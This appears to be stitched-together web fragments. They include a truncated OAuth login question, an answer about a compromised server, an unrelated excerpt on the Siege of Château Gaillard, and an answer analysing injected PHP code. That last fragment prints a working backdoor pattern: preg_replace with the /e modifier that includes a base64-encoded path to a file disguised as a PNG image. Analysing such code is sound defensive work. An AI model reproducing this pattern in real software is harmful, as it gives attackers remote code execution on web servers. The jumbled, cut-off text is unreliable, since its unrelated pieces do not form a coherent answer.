I know there are probably many existing answers to this question but so far I couldn't find a simple detailed answer.
I authenticate users on my app with Facebook and Google. When the authentication is finished, I get id, name, email, profile url and gender. At the moment I authenticate users ...
The short answer is if the code was added by someone you don't know, then it's malicious, and it doesn't really matter what it does.
Your server has been compromised and you need to perform a full clean up.
As for how it got added, there is no way for us to know without a full investigation of...
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The Siege of Château Gaillard was a part of Philip II's campaign to conquer the king of England's continental properties. The French king besieged Château Gaillard, a Norman fortress, for six months. The Anglo-Normans were beaten in the battle and the consequence was the fall of Normandy.
== Dispositions ==
King Philip wished to take control of Normandy. The castle at Château Gaillard was the key to the campaign, but he did not move against it directly. Instead he attacked a number of lesser castles in the surrounding area, effectively isolating Château Gaillard and ensuring that his operations...
It seems this code creates this:
<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>
You can test it in a sandbox. The large hexadecimal chain is a base64 encoded string with /home4/mitzvahc/publi...
